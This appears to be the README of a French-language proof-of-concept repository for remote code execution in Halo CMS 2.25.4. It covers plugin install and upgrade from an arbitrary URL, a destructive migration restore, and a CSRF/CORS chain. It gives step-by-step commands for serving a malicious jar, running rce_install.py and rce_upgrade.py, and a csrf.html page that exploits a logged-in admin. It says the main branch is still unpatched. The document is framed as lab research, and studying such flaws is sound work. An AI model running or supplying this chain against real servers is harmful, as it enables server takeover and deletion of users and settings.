
plugin halo cms rce en 1 requête à partir d'une URL, PoC + chaîne d'exploitation
La console de halo permet aux administrateurs d'installer et de mettre à niveau des plugins en collant une URL. Elle récupère n'importe quelle URL, installe le jar, et le code du jar s'exécute sur le serveur. Aucune vérification de schéma, aucune vérification d'hôte, les redirections sont suivies, et le gestionnaire de plugins charge les classes d'extension directement depuis le jar.
C'est cve-2026-67919 (install-from-uri / upgrade-from-uri), cve-2026-67920 (restauration de migration), cve-2026-67921 (chaîne csrf/cors). Les trois ont été vérifiées contre halohub/halo:2.25.4 dans un lab docker, en août 2026. La branche main n'est toujours pas corrigée.
Le plus intéressant : c'est aussi une chaîne qui ne nécessite qu'un navigateur. L'API de la console ne vérifie pas le jeton xsrf, le cookie de session est en samesite=none, et cors reflète n'importe quelle origine avec credentials. Une page que l'admin visite peut tout faire avec fetch(). Voir exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
Servez un jar depuis l'hôte (écoute sur 0.0.0.0, le conteneur atteint l'hôte via host.docker.internal) :
python3 -m http.server 8123
Construisez le plugin malveillant (nécessite jdk 17) :
cd plugin && sh build.sh
Ensuite :
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
Tout plugin déjà installé peut être remplacé en une seule requête ; le jar a simplement besoin du même metadata.name et d'une version supérieure. poc-sitemap.jar est cette variante pour le PluginSitemap intégré (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
Ouvrez exploit/csrf.html, pointez-le vers votre halo, cliquez. C'est la chaîne cve-2026-67921 -> cve-2026-67919 : pas d'en-tête xsrf, le cookie de session part en cross-site, cors permet de lire la réponse.
Admin uniquement, quoi qu'en dise la description CISA. L'anonyme reçoit une 302, l'invité une 403, l'admin une exécution de code. La chaîne csrf reste intéressante car l'admin est déjà connecté lorsque la page s'exécute.
Les restaurations récupèrent une URL arbitraire (une autre primitive fetch), écrivent le workdir/ du zip dans le répertoire de travail de halo sans assainissement, et remplacent tout le magasin d'extensions par le contenu de la sauvegarde. Un extensions.data vide efface les utilisateurs, les liaisons de rôles et les paramètres. Utilisez exploit/migration_restore.py uniquement sur une machine jetable.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
Pour la variante en 1 requête, modifiez plugin/plugin.yaml (metadata.name + version) et reconstruisez ; ou utilisez le poc-sitemap.jar préconstruit contre un halo sur lequel PluginSitemap est installé.
Avertissement : pour des recherches sur des systèmes qui vous appartiennent. Celui de la migration, en particulier, détruira l'instance contre laquelle il s'exécute.
chris jagdeo (k0nnect)